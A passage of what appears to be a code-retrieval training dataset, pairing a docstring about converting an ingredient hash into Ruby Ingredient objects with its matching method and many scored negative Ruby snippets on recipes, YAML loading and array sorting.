"def read_node(node)\n nodefile = File.join(YAMLDIR, \"#{node}.yaml\")\n if FileTest.exist?(nodefile)\n return YAML.load_file(nodefile)\n else\n raise \"Could not find information for #{node}\"\n end\nend",
"def load(filename)\n update! YAML.load_file(filename)\n end",
"def menu\n response[\"menu\"]\n end",
"def get_yaml_data_from_file(file)\n parsed = begin\n YAML.load(File.open(file))\n rescue ArgumentError => e\n fatal_error(\"invalid YAML syntax in file #{file}\")\n end\n return parsed\nend",
"def load_yaml(yaml_file)\n data = []\n YAML.load_stream(File.read yaml_file) { |f| data << f }\n return data\n end",
"def load\n YAML.load_file MANIFEST rescue {}\n end",
"def load_yml(template, options={})\n case File.extname(template)\n when '.erb'\n parse_erb(template, options)\n else\n YAML.load_file(template)\n end\n end",
"def from_yaml(filename)\n require \"yaml\" unless defined?(YAML)\n from_hash(YAML.load(IO.read(filename)))\n end",
"def load_yaml_data( file )\n yaml_data = {}\n yaml_data.merge!( File.open( file ) { |yf| YAML::load( yf ) } )\n\n return yaml_data\n end",
"def read_yaml(throw_missing: T.unsafe(nil), **kwd); end",
"def load_from_yml filename=\"hn.yml\"\n @arr = YAML::load( File.open( filename ) )\n next_url = @arr.last[:article_url]\n unless next_url.index(\"http\")\n next_url = @host + \"/\" + next_url\n end\n @more_url = next_url\n end",
"def read_config(filename)\n\t\tif File.exists?(filename)\n\t\t\tbegin\n\t\t\t\treturn YAML.load_file(filename)\n\t\t\trescue\n\t\t\t\t@errors << \"A yml was in an unreadable format. Did you confuse tabs and spaces?\"\n\t\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def read_definitions_file\n if File.exist?(layouts_file_path)\n YAML.safe_load(ERB.new(File.read(layouts_file_path)).result, YAML_WHITELIST_CLASSES, [], true) || []\n else\n raise LoadError, \"Could not find page_layouts.yml file! Please run `rails generate alchemy:install`\"\n end\n end",
"def read_yaml(base, name, opts = {})\n ret = site.yaml_cache.get(base, name, self.merged_file_read_opts(opts))\n self.content = ret[:content]\n self.data = ret[:yaml]\n self.modified = ret[:modified]\n end",
"def load_config(config_file)\n YAML.load(File.open(config_file))\nend"
] | [
"0.6833438",
"0.68146545",
"0.6746245",
"0.67328376",
"0.6678069",
"0.6618213",
"0.66043437",
"0.65463096",
"0.6497463",
"0.6431694",
"0.63932216",
"0.6368525",
"0.6357535",
"0.63554156",
"0.6302693",
"0.6274248",
"0.6261842",
"0.6261842",
"0.6194424",
"0.61614686",
"0.6158654",
"0.6153975",
"0.6129761",
"0.6129584",
"0.61277235",
"0.61252075",
"0.60875976",
"0.6080487",
"0.6043951",
"0.5995131",
"0.599147",
"0.5979306",
"0.59377617",
"0.59376633",
"0.5930539",
"0.5929903",
"0.5923612",
"0.59145635",
"0.5913942",
"0.5907986",
"0.5901146",
"0.58682686",
"0.5866937",
"0.5864543",
"0.5834291",
"0.58305186",
"0.58252156",
"0.5825163",
"0.5823903",
"0.582338",
"0.58191776",
"0.57750916",
"0.5769733",
"0.57595056",
"0.57581174",
"0.5749082",
"0.5749082",
"0.5732535",
"0.5728238",
"0.5725468",
"0.57245225",
"0.5705313",
"0.5702656",
"0.5685968",
"0.5685968",
"0.5684593",
"0.5684344",
"0.5682697",
"0.5674402",
"0.5662969",
"0.56614506",
"0.5614351",
"0.56114024",
"0.5604537",
"0.5594588",
"0.55904686",
"0.5587657",
"0.5584949",
"0.55788225",
"0.55718845",
"0.55629224",
"0.5549356",
"0.55491936",
"0.5546253",
"0.55385876",
"0.55353045",
"0.5530174",
"0.5519927",
"0.55183196",
"0.55138",
"0.55064136",
"0.5496737",
"0.54946804",
"0.54710305",
"0.5469638",
"0.54689366",
"0.54602325",
"0.54584146",
"0.5452178",
"0.54428697"
] | 0.73081005 | 0 |
Convert a hash of ingredients with metadata to a list of Ingredient objects | def hash_to_ingredient(dict)
ingredients = Array.new
# Each ingredient has name as key, and metadata as a dictionary.
# At this point, we just extract the price, but we can expand this later
dict.each do |name,ingr|
ingredients.push(Salads::Ingredient.new(name, ingr["price"]))
end
return ingredients
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ingredients\n recipe_ingredients.map do |r|\n r.ingredient\n end\n end",
"def ingredients\n recipeingredient.map {|ri| ri.ingredient}\n end",
"def parse_ingredients(ingredients)\n ret = {}\n ingredients.each do |ingredient|\n ing = parse_ingredient ingredient\n ret[ing.name.downcase] = ing\n end\n ret\n end",
"def ingredients\n # self.recipe_ingredients\n recipe_ingredients.map do |r_i|\n r_i.ingredient\n end\n end",
"def setup_ingredients(left_over_meal_hash)\n @ingredient = {}\n left_over_meal_hash.each do |key, value|\n next if value == '' || value == ' ' || value.nil? # prevent blank entries\n\n case key\n when /strIngredient.+/\n location = key.to_s.gsub('strIngredient', '')\n measure = 'strMeasure' + location.to_s\n @ingredient[value] = left_over_meal_hash[measure.to_sym]\n end\n end\n @ingredient.compact!\n end",
"def ingredients\n recipe_ingredients.map {|recipe_ingredient| recipe_ingredient.ing}\n end",
"def ingredients\n desserts.map do |dessert|\n dessert.ingredients\n end.flatten\n end",
"def ingredients\n self.dessert_ingredients.map {|di| di.ingredient}\n end",
"def ingredients(recipe_hash)\n recipe_hash.each do |ingredient,amount|\n puts ingredient\n end\nend",
"def find_ingredients(recipe_object)\n ingredients = []\n ing_array = recipe_to_string(recipe_object).split(\" \")\n ing_array.each do |ing|\n ingredients << Ingredient.find_by(name: ing.capitalize!)\n end\n return (ingredients - [nil])\n end",
"def recipe_instances\n recipe_ingredients.map { |ri| ri.recipe }\n end",
"def ingredient_names\n self.ingredients.map do |ing|\n ing.name\n end\n end",
"def ingredients_attributes=(ingredients_hash)\n ingredients_hash.each do |i|\n ingredient = Ingredient.find_or_create_by(name: i[:name], quantity: i[:quantity])\n self.ingredients << ingredient\n end\nend",
"def recipe_ingredients(recipe_hash)\n recipe_hash.each do |ingredient,amount|\n \"#{amount} of #{ingredient}\"\n end\nend",
"def ingredients\n RecipeIngredient.all.select { |ri| ri.recipe == self }.map { |ri| ri.ingredient }\n end",
"def ingredients\n my_recipe_ingredients = RecipeIngredient.all.select do |recipeingredient|\n recipeingredient.recipe == self\n end\n my_recipe_ingredients.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end.uniq\n end",
"def ingredients\n recipes = RecipeIngredient.all.select { |recipeing| recipeing.recipe == self}\n recipes.collect {|recipeing| recipeing.ingredient}\n end",
"def get_ingredients_names\n self.ingredients.map{|ingredient| ingredient.name}\n end",
"def ingredients\n RecipeIngredients.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end",
"def ingredients\n a = Array.new\n self.steps.each do |step|\n step.ingredients.each do |ing|\n a << ing\n end\n end\n a\n end",
"def ingredients\n RecipeIngrediant.all.select do |recing|\n recing.recipe == self\n end\n #map to ing\n\n end",
"def process_ingredient_list\n return if @ingredient_list.blank?\n\n # if this recipe was just created, save original_ingredient_list\n if original_ingredient_list.blank?\n self.original_ingredient_list = @ingredient_list\n end\n \n if @ingredient_list.is_a?(String)\n ingr_array = @ingredient_list.split(/\\n/)\n else\n ingr_array = @ingredient_list\n end\n\n # Usually Rails just sets the key to null. To really delete the record, the following two lines are needed\n ingredients_recipes.each {|ir| ir.delete}\n ingredients_recipes.reload\n \n ingr_array.each_with_index do |line, index|\n line.strip!\n next if line.empty?\n \n # check for groups first, then ingredients. Groups are deliminated with stars like this: *Group*\n attrs = {}\n if line =~ /^\\*(.*)\\*$/\n attrs[:description] = $1\n attrs[:group] = true\n else\n # If a comma, assume everything past is a comment so only parse the first part but then \n # add it back in before processing the description\n line.downcase!\n comma_index = line.index(\",\")\n desc_part = ''\n unless comma_index.blank?\n desc_part = line.slice!(comma_index .. -1)\n end\n attrs[:ingredient] = Ingredient.find_name_and_create(line)\n attrs[:weight] = Ingredient.find_num(line)\n attrs[:unit] = Ingredient.find_unit(line)\n line.slice!(desc_part) # Make sure desc_part is not included twice\n \n # if using the whole_unit, take it out here so it doesn't get repeated in the description\n if attrs[:unit] == 'whole' && !attrs[:ingredient].whole_unit.blank?\n line.slice!(attrs[:ingredient].whole_unit)\n end\n attrs[:description] = Ingredient.find_description(line + desc_part) \n end\n attrs[:line_num] = index\n attrs[:recipe_id] = self.id\n \n ingredient_recipe = IngredientsRecipe.create!(attrs)\n ingredients_recipes << ingredient_recipe\n Ingredient.standardize_unit(ingredient_recipe)\n end\n @ingredient_list = nil\n end",
"def find_ingredients\n self.content.scan(/E\\d{3,4}|E.\\d{3,4}/).map do |number|\n Ingredient.where([\"substring(number from '\\\\d+')::integer = ?\", number])\n end.flatten.map(&:id).uniq\n end",
"def ingredients\n RecipeIngredient.all.map do |reci_ingred|\n reci_ingred.ingredient_O if reci_ingred.recipe_O == self\n end.compact\n end",
"def add_ingredients(ingredients)\n ingredients.map do |ingredient|\n RecipeIngredient.new(self, ingredient)\n end \n end",
"def update_ingredients(hash)\n hash.each do |h|\n ingredient = Ingredient.find_by!(id: h[:id])\n ingredient.update!(quantity: h[:quantity])\n end\n end",
"def ingredients\n RecipeIngredient.all.select do |recipe_ingre|\n recipe_ingre.recipe == self\n end.map {|recipe_ingre| recipe_ingre.ingredient}\n end",
"def ingredient_recipes\n self.doses.map { |d| d.recipe }.uniq\n end",
"def ingredients(url)\n recipe_html_string = open(url).read\n\n recipe = Hangry.parse(recipe_html_string)\n ingredients = recipe.ingredients.map{\n |ingredient|\n Ingreedy.parse(ingredient)\n }\n end",
"def vegetarian_ingredients\n{\n :sweets => [\"soda\", \"candy\", \"potato chips\"],\n :protein => {\n :other => [\"nuts\", \"beans\"]\n },\n :dairy => [\"milk\", \"yogurt\", \"cheese\"],\n :fruits => [\"bananas\", \"oranges\", \"apples\", \"grapes\"],\n :vegetables => [\"cabbage\", \"broccoli\", \"tomatoes\", \"carrots\"],\n :grains => [\"crackers\", \"rice\", \"bread\", \"pasta\", \"cereal\"]\n}\nend",
"def update_ingredients(hash)\n hash.each do |key, value|\n ingredient = Ingredient.find_by!(id: key)\n ingredient.update(units: value)\n end\n end",
"def vegan_ingredients\n# let's use the `Hash` returned by `vegetarian_ingredients`, remove all dairy items\n# from it, and return this updated `Hash`.\n vegan_list = vegetarian_ingredients\n vegan_list.delete(:dairy)\n vegan_list\nend",
"def items_for_recipe(recipe)\n\t\t# Everything will be stored in terms of ounces\n\t\tids = []\n\t\t# Loop through the structured ingredients\n\t\trecipe.each do |r|\n\t\t\t# Pull all items from database with matching length\n\t\t\titems = Item.allForName(r[\"name\"])\n\t\t\t# Mostly for proof of concept, if there is only one item matching, add it to the list.\n\t\t\tif items.length == 1\n\t\t\t\tids << items.first.id\n\t\t\telse\n\t\t\t\t# Loop through resulting items from database.\n\t\t\t\titems.each do |item|\n\t\t\t\t\t# Compare quantities, if the recipe calls for a quantity of less than the item,\n\t\t\t\t\t# add it to the database and exit the loop. \n\t\t\t\t\tif r[\"qty\"] <= item.qty\n\t\t\t\t\t\tids << item.id\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t# Return the list of matching IDs\n\t\treturn ids\n\tend",
"def ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end.map do |recipe_ingredient|\n recipe_ingredient.ingredient\n end\n end",
"def getIngredientsNames\n \tingArray = []\n \tingredients.each do |ingredient|\n \t\tingArray.push(ingredient.name)\n \tend\n \treturn ingArray\n end",
"def add_ingredients(ingre)\n ingre.each {|ingre| RecipeIngredient.new(self, ingre)}\n end",
"def add_ingredients(ingredients)\n ingredients.each { |i| RecipeIngredient.new(self, i) }\n end",
"def vegetarian_ingredients \n vegetarian = shopping_list\n vegetarian[:protein].delete(:meat)\n vegetarian[:protein][:other].shift\n vegetarian\nend",
"def shopping_list\n self.ingredients.map {|i| i.name}.uniq\n end",
"def add_ingredients(ingredient_arr)\n ingredient_arr.each do |ingredient|\n @ingredients << ingredient\n end\n @ingredients\n end",
"def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end",
"def add_ingredients(ing_array)\n ing_array.each {|ingredient| RecipeIngredient.new(self, ingredient)}\n end",
"def getRecipeByIngredientsList\n begin\n ingredientsList = params[:ingredients].split(\",\")\n\n @recipe = []\n ingredientsList.each do |ingredient|\n @recipe.push(Recipe.where('ingredients ILIKE ?', '%'+ingredient+'%').all)\n end\n \n if !@recipe.empty?\n render json: { status: 'SUCCESS', message: 'Loaded recipe!', data: @recipe }, status: :ok\n else\n render json: { status: 'SUCCESS', message: 'No recipe found', data: {} }, status: :not_found\n end\n rescue\n render json: { status: 'ERROR', message: 'Error loading recipe', data: {} }, status: :not_found\n end\n end",
"def ingredients_and_amounts(recipe_hash)\n recipe_hash.each do |ingredient,amount|\n puts \"#{amount} of #{ingredient}\"\n end\nend",
"def add_ingredients(ingredients)\n ingredients.each do |ingredient|\n RecipeIngredient.new(self, ingredient)\n end\n end",
"def visualize_ingredients(opts = {})\n data, _status_code, _headers = visualize_ingredients_with_http_info(opts)\n data\n end",
"def recipe_keys\n all_keys = params[:recipe].keys\n all_keys.collect do |key|\n next if key == \"ingredients_attributes\"\n key\n end\n end",
"def add_ingredients(ing_array)\n ing_array.each do |ing|\n RecipeIngredient.new(self, ing)\n end\n end",
"def vegetarian_ingredients\n vegetarian_list = shopping_list\n vegetarian_list[:protein].delete(:meat)\n vegetarian_list[:protein][:other].shift\n vegetarian_list\nend",
"def get_ingredients \n # get rid of all characters that are not: a-z A-Z 0-9 - [] () . ' / , blank;\n clean_ingredients = self.ingredients.gsub(%r{[^a-zA-Z0-9\\-\\[\\]\\.\\,\\'\\(\\)\\/\\s]}, '')\n return clean_ingredients.split(', ').each { |ingredient| ingredient.strip! }\n end",
"def add_ingredients(ingredients_arr)\n ingredients_arr.each do |ingredient|\n RecipeIngredient.new(ingredient,self)\n end\n end",
"def shopping_list(ingredients)\n\t\tlist = ingredients.split(/\\n/)\n\tend",
"def fetch_hash_objects(h)\n price_dimensions = []\n h.each_pair do |k, v|\n if v.is_a?(Hash)\n price_dimensions << fetch_hash_objects(v)\n else\n price_dimensions << {\"#{k}\": v} if ALLOWED_KEYS.include?(k)\n end\n end\n price_dimensions.flatten\n end",
"def amounts(recipe_hash)\n recipe_hash.each do |ingredient,amount|\n puts amount\n end\nend",
"def assemble_recipe_data recipe\n ingredients = []\n\n # sum of (1-quality) for each substitution\n score = 0\n\n recipe.inclusions.each do |inclusion|\n ingredient = inclusion.ingredient\n ingredient_data = {}\n\n # deal with substitutons\n if forbidden? ingredient\n subs = substitutions(ingredient)\n if subs.length == 0\n # no substitutions, reject this recipe\n return nil\n else\n # add the substitution\n ingredient_data[\"substitute\"] = subs.map do |sub|\n [apply_ratio(inclusion.amount, sub.ratio), sub.name]\n end\n score += (1 - subs.first.quality)\n end\n end\n\n # add the rest of the data\n ingredient_data[\"original\"] = [inclusion.amount, ingredient.name]\n\n # TODO: fix this\n ingredient_data[\"where_to_buy\"] = [\"Whole Foods\", \"http://wholefoodsmarket.com/stores/list\"]\n\n ingredients.push ingredient_data\n end\n\n [{\n \"name\" => recipe.name,\n \"source\" => [recipe.source.name, recipe.url],\n \"directions\" => recipe.directions,\n \"ingredients\" => ingredients\n }, score]\n end",
"def list_all_giveable_ingredients\n ingredient_count_hash = {}\n self.owned_ingredients.each do |owned_ingredient|\n ingredient_count_hash[owned_ingredient.ingredient_id] = owned_ingredient.giveable_count\n end\n ingredient_count_hash\n end",
"def initialization_info(supply_dictionary)\n object = self.attributes\n object[\"ingredients\"] = self.assembled_ingredients(supply_dictionary)\n object\n end",
"def parse_ingredients ingredient_line, recipe \n Rails.logger.debug \"== Blender::parse_ingredients\"\n \n # Removes hifen \"-\"\n ingredient_line.gsub!(\"-\",\"\") \n # Removes Complementary Words\n ingredient_line.gsub!(/\\b(#{STOP_WORDS.join('|')})\\b/mi, ' ')\n \n # Given a ingredient line, extracts the: measure, quantity, ingredient name\n measure, quantity, ingredient = get_measure_quantity_and_ingredient ingredient_line.downcase\n \n Rails.logger.debug \"* Extracted Ingredient: Quant:(#{quantity}) Meas:(#{measure}) Name:(#{ingredient})\"\n \n add_ingredient_to_recipe quantity, measure, ingredient, recipe \n # Returns true if could understand and extract the measure and quantity\n return !measure.nil? && !quantity.nil?\n end",
"def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end",
"def foods_converted\n foods_result = []\n self.foods.each do |food|\n food_macros_serving = Hash.new\n serving_size = (food.serving_size / 100.0)\n food_macros_serving[\"name\"] = self.name\n food_macros_serving[\"kcal\"] = (serving_size * food.kcal).round\n food_macros_serving[\"protein\"] = (serving_size * food.protein).round\n food_macros_serving[\"carbs\"] = (serving_size * food.carbs).round\n food_macros_serving[\"fats\"] = (serving_size * food.fats).round\n food_macros_serving[\"vegan\"] = food.vegan\n food_macros_serving[\"vegetarian\"] = food.vegetarian\n food_macros_serving[\"nut_free\"] = food.nut_free\n food_macros_serving[\"gluten_free\"] = food.gluten_free\n food_macros_serving[\"soy_free\"] = food.soy_free\n foods_result.push(food_macros_serving)\n end\n return foods_result\n end",
"def with_ingredients(ingredients = nil)\n unless ingredients.nil?\n self.recipe_data.ingredients = ingredients\n self\n end\n end",
"def ingredient_params\n ActiveModelSerializers::Deserialization.jsonapi_parse!(params, only: [:name, :location, :category])\n end",
"def allergens\n ingredients_array=[]\n ingredients.each do |ingredient|\n # binding.pry\n if ingredient.allergens\n # binding.pry\n ingredients_array << ingredient.allergens\n end\n end\n arr= ingredients_array.flatten.map do |allergen|\n allergen.ingredient\n end\n arr.uniq\n end",
"def model_ingredients(args)\n options = set_model_ingredients_defaults(args)\n set_common_options(options)\n set_model_ingredients_order_by_clause(options)\n \n if options[:b_return_list]\n \n # get list of all ingredients\n obj_list = Ingredient.all.reorder(options[:reorder_clause])\n end\n \n return model_make_results(options, obj_list, nil) \n end",
"def inline_ingredients\n ingredients.to_a.map(&:name).join(' ')\n end",
"def to_h\n\t\t{\n\t\t\t:name => @name,\n\t\t\t:intents => @intents.map { |i| i.to_h }\n\t\t}\n\tend",
"def add_ingredients(ingredients_array)\n\t\tRecipeIngredient.new(ingredients_array, self)\n\tend",
"def parseIngredient(raw)\n name = \"\"\n quantity = 0\n measurement = \"\"\n prep_method = \"\"\n\n jooky = raw.tr('=', ',')\n if jooky.class != String\n puts \"*******************\"\n puts jooky.class\n end\n jooky = jooky.tr!(';', ',')\n jooky = jooky.tr!('{', ' ')\n jooky = jooky.tr!('}', ' ')\n jooky.strip!.slice!(-1)\n result = jooky.split(',')\n result.each { |x| \n x.tr!('\"\"', ' ')\n x.strip!\n }\n result_hash = Hash[*result.flatten]\n\n result_string = \"\"\n result_hash.delete_if {|key, value| value == \"\"}\n if result_hash.has_key?(\"quantity\")\n result_string << result_hash[\"quantity\"] + \" \"\n end\n \n if result_hash.has_key?(\"measurement\")\n result_string << result_hash[\"measurement\"] + \" \"\n end\n \n if result_hash.has_key?(\"name\")\n result_string << result_hash[\"name\"]\n end\n \n if result_hash.has_key?(\"method\")\n result_string << \", \" + result_hash[\"method\"]\n end\n \n return result_string\n\nend",
"def recipe_ingredients(recipe_id)\n recipe_status_helper(recipe_id)\n @recipe_ingredient_arr = recipe_ingredient.split(\", \")\n puts \" \"\n p user.recipes.where(id: recipe_id)[0].ingredient\n prompt.select(\"Options\") do |menu|\n puts \" \"\n menu.choice \"Choose New Protein\", -> {choose_protein}\n menu.choice \"Update Recipe Rating\", -> {update_recipe_rating(recipe_id)}\n menu.choice \"Add Ingredient\", -> {ingredient_add_helper(recipe_id)}\n menu.choice \"Remove Ingredient\", -> {ingredient_remove_helper(recipe_id)}\n menu.choice \"Exit\", -> {exit_helper}\n end\n end",
"def translate_recipe\n @translated_recipe = {}\n # google trad call\n translate = Google::Cloud::Translate::V2.new(\n project_id: ENV[\"CLOUD_PROJECT_ID:\"],\n credentials: ENV[\"GOOGLE_APPLICATION_CREDENTIALS\"],\n )\n translated_ingredients = @recipe_hash[:ingredients_list].map do |ingredient|\n translation = translate.translate ingredient, to: \"en\"\n translation.text.inspect\n end\n # new hash with translated infos\n @translated_recipe[:ingredients_list] = translated_ingredients.join(\"\\n\").gsub! /\"/, \"|\"\n end",
"def list_all_received_ingredients\n ingredient_count_hash = {}\n self.owned_ingredients.each do |owned_ingredient|\n ingredient_count_hash[owned_ingredient.ingredient_id] = owned_ingredient.received_count\n end\n ingredient_count_hash\n end",
"def recipe_ingredients\n RecipeIngredient.all.select { |ri| ri.ingredient.name == @ing }\n end",
"def nutritional_data_points\n data_points = ingredients.first.attributes.map { |k, v| k }\n data_points - [\"id\", \"recipe_id\", \"food_name\", \"brand_name\", \"serving_qty\", \"serving_unit\", \"serving_weight_grams\", \"created_at\", \"updated_at\"]\n end",
"def add_ingredients(ingredients_array)\n # ingredients_array[0] = RecipeIngredient.new(name, ingredients_array[0], self)\n ingredients_array.each do |ingredient|\n RecipeIngredient.new(ingredient.name, ingredient, self)\n end\n end",
"def add_ingredients(ingredients)\n ingredients.each do |ingredient|\n if self.ingredients.count(ingredient) == 0\n RecipeIngredient.new(self, ingredient)\n end\n end\n end",
"def present_ingredients_names\n get_ingredients_names.reduce(\"\") {|memo, name| memo + \", #{name}\"}.delete_prefix(\", \")\n end",
"def vault_items(vault)\n Chef::DataBag.load(vault).keys.each_with_object([]) do |key, array|\n array << key.sub(/_keys(?=[^_keys]*$)/, \"\") if key =~ /.+_keys$/\n end\n end",
"def load_notetags_ingredients_bubs_tocrafting(line)\n return unless line =~ Bubs::Regexp::INGREDIENT_OBJ_TAG ? true : false\n amount = $3 ? $3.to_i : 1\n \n case $1.upcase\n when \"I\", \"ITEM\", \"OGGETTO\"\n amount.times do @ingredient_list.push( $data_items[$2.to_i] ) end\n \n when \"W\", \"WEAPON\", \"WEP\", \"ARMA\"\n amount.times do @ingredient_list.push( $data_weapons[$2.to_i] ) end\n \n when \"A\", \"ARMOR\", \"ARMOUR\", \"ARM\", \"ARMATURA\"\n amount.times do @ingredient_list.push( $data_armors[$2.to_i] ) end\n \n when \"FEE\", \"GOLD\", \"PREZZO\", \"ORO\"\n @tocrafting_gold_fee = $2.to_i\n \n when \"SKILL\"\n @tocrafting_skills.push( $2.to_i )\n \n when \"ACTOR\", \"EROE\"\n @tocrafting_actors.push( $2.to_i )\n \n end # case $1.upcase\n end",
"def ingredients\n Ingredient.all.select do |ingredient_instance|\n ingredient_instance.makes == self\n end\n end",
"def allergens\n self.ingredients.map do |ingredient|\n Allergen.all.map do |allergen|\n ingredient if allergen.ingredient_O == ingredient\n end.compact\n end.flatten.uniq\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n if params['ingredients']\n params['ingredients'].each do |ingredient_name|\n @recipe.ingredients << Ingredient.find_by(name: ingredient_name)\n end\n end\n\n @recipe.save \n redirect_to recipes_path\n end",
"def mediterranean_ingredients\n\n mediterranean_list = shopping_list.select {|key, value| [:protein, :dairy, :fruits, :vegetables, :grains].include? key}\n mediterranean_list[:protein][:meat].pop\n mediterranean_list[:protein][:other] = [\"nuts\"]\n mediterranean_list[:dairy].delete(\"milk\")\n mediterranean_list\nend",
"def from_hash(hash)\n super(hash)\n new_tag_matchers_array = []\n @tag_matchers.each do\n |tag_matcher|\n if tag_matcher.class != ProjectHanlon::Tagging::TagMatcher\n new_tag_matchers_array << ProjectHanlon::Tagging::TagMatcher.new(tag_matcher, @uuid)\n else\n new_tag_matchers_array << tag_matcher\n end\n end\n end",
"def shopping_list\n ingredient_list = []\n @summary.each do |key, value|\n if key.include?(\"strIngredient\") && value != \"\"\n ingredient_list << value\n end\n end\n\n measurement_list = []\n @summary.each do |key, value|\n if key.include?(\"strMeasure\") && value != \" \"\n measurement_list << value\n end\n end\n\n measurement_list.zip(ingredient_list).each do |measurement, ingredient|\n if ingredient != nil && ingredient.empty? == false\n if measurement != \" \"\n @shopping_list << \"#{ingredient}: #{measurement}\"\n else\n @shopping_list << \"#{ingredient}\"\n end\n end\n end\n @shopping_list\n end",
"def whole_meal_init(full_hash)\n @category = full_hash.delete(:strCategory) || 'Undefined'\n @instructions = full_hash.delete(:strInstructions) || 'Not provided'\n @type = full_hash.delete(:strTags) || 'Undefined'\n @youtube = full_hash.delete(:strYoutube)\n if full_hash[:sync_ingredients].nil?\n # load from API meal\n setup_ingredients(full_hash.compact!)\n else\n # Saved meal\n raise ':sync_ingredients is not a hash' unless full_hash[:sync_ingredients].is_a?(Hash)\n\n @ingredient = full_hash.delete(:sync_ingredients)\n end\n @ingredient.freeze\n end",
"def get_recipe_titles(user_ingredients)\n \n search_params = 'http://www.recipepuppy.com/api/?i=' + user_ingredients.join(\",\")\n \n\n recipes = []\n search_string = RestClient.get(search_params)\n search_hash = JSON.parse(search_string)\n relevant_recipes = search_hash[\"results\"]\n relevant_recipes.collect do |recipe|\n recipes << recipe[\"title\"].strip\n end\n \n recipes\nend",
"def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end",
"def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end",
"def metadata\n hash.inject([]){ |list, data| list << MetaData.new(data[0], data[1][0]) }\n end",
"def filter_ingredients(ingredients)\n foods = self.saved_foods.collect(&:name)\n \n ingredients.each do |i|\n if foods.include?(i.food)\n i.deleted = true\n end\n end\n \n ingredients\n end",
"def addRecipe(name, ingredients)\n calories = 0\n keys = @BasicHash.keys\n ingredients.each do |ingredient|\n ingredient.chomp!\n # if the ingredient is in the basicFood\n if @BasicHash.has_key? ingredient\n calories += @BasicHash[ingredient].calories.to_i\n else\n puts \"Can't find the ingredient\"\n puts \"#{ingredient}\"\n end\n #Making recipe object and adding it to the hash\n myrecipes = Recipe.new(name, ingredients, calories)\n @RecipeHash[name] = myrecipes\n end\n end",
"def recipe_ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end\n end",
"def recipe_ingredients\n RecipeIngredient.all.select{|ingredient| ingredient.recipe == self}\n end",
"def custom_regimen_ingredients\n arv_extras_concepts = Concept.joins(:concept_names).where(\n concept_name: { name: ['INH', 'CPT', 'Pyridoxine', 'Rifapentine', 'INH / RFP'] }\n )\n Drug.where(concept: arv_extras_concepts) + Drug.arv_drugs.order(name: :desc)\n end",
"def objects_from_serialized_hash(hash) # :nodoc:\n klass, attributes = Helpers.to_class_and_attributes(hash)\n klass.from_seedable_attributes(attributes)\n end",
"def set_ingredient_list\n @ingredient_list = IngredientList.find(params[:id])\n end",
"def add_ingredients(ingredients)\n RecipeIngredient.new(ingredients, self)\nend",
"def recipes\n @recipes.sort.collect {|id| $data_recipes[id] }\n end",
"def artists_hash\n parse(get_artists)\n end",
"def find_recipe_by_ingredient\n print(\"What ingredients do you have? (Separate by comma)\")\n user_food = gets.chomp\n\n ingredient_ids = user_food.split(\",\").collect do |ingredient|\n Ingredient.find_by(name: ingredient).id\n end\n meal_arr = Meals.all.select do |meal|\n ingredent_ids.include?(meal.ingredient_id)\n end\n hash = {}\n meal_arr.each do |meal|\n if hash.keys.include?(meal.recipe_id)\n hash[meal.recipe_id] += 1\n else\n hash[meal.recipe_id] = 1\n end\n end\n arr = []\n hash.each do |recipe_id, ingredient_count|\n total_ingredients.to_f = Recipe.find(recipe_id).ingredients.size\n if ingredient_count / total_ingredients > 0.80\n arr << Recipe.find(recipe_id).name\n end\n end\n return arr\nend"
] | [
"0.67869824",
"0.6668641",
"0.65020543",
"0.63234955",
"0.63051885",
"0.6261077",
"0.6194189",
"0.6178999",
"0.6157826",
"0.61116165",
"0.6081471",
"0.5999418",
"0.5971214",
"0.5936107",
"0.59352404",
"0.5934728",
"0.58762556",
"0.58576584",
"0.58471256",
"0.5819716",
"0.5809785",
"0.58088183",
"0.5791708",
"0.57832587",
"0.5746496",
"0.571196",
"0.5698832",
"0.5693029",
"0.56835294",
"0.55984807",
"0.5585245",
"0.557788",
"0.5555305",
"0.5545928",
"0.55115235",
"0.5502092",
"0.5491128",
"0.54297924",
"0.53986436",
"0.5378182",
"0.53770554",
"0.53739583",
"0.53716004",
"0.5365208",
"0.53619653",
"0.53584653",
"0.53565145",
"0.53541976",
"0.53386414",
"0.5337869",
"0.5320798",
"0.53115565",
"0.5295275",
"0.52933156",
"0.52609485",
"0.5258677",
"0.5254491",
"0.5234702",
"0.52313185",
"0.5228026",
"0.5217441",
"0.51963484",
"0.5183697",
"0.51795655",
"0.5179407",
"0.51699656",
"0.5155021",
"0.51462626",
"0.5142281",
"0.5131749",
"0.51291263",
"0.5126914",
"0.5117022",
"0.511433",
"0.5083639",
"0.50797796",
"0.50755614",
"0.5074858",
"0.5070078",
"0.5056412",
"0.5054718",
"0.50524503",
"0.5031747",
"0.50285584",
"0.50278616",
"0.502148",
"0.50121254",
"0.50121254",
"0.49789962",
"0.49755135",
"0.4971591",
"0.49365932",
"0.49341413",
"0.4923354",
"0.48859105",
"0.4882012",
"0.4880812",
"0.48693708",
"0.4860854",
"0.4853785"
] | 0.77040833 | 0 |
always use a sorted (desc) array with 2 elements | def dices=(arr)
@dices = ((arr + [0,0,0]).sort.reverse)[0..1]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def two(array)\n array.sort\nend",
"def array_2(array2)\n array2.sort!\n return array2\nend",
"def sort_array_desc(array)\n new = array.sort\n new.reverse\nend",
"def sort2(array, max_value)\n\nend",
"def sort_array_desc(array)\n array.sort {|x,y| y <=>x }\nend",
"def sort_array_desc(array)\n array.sort {|x,y| y <=> x}\nend",
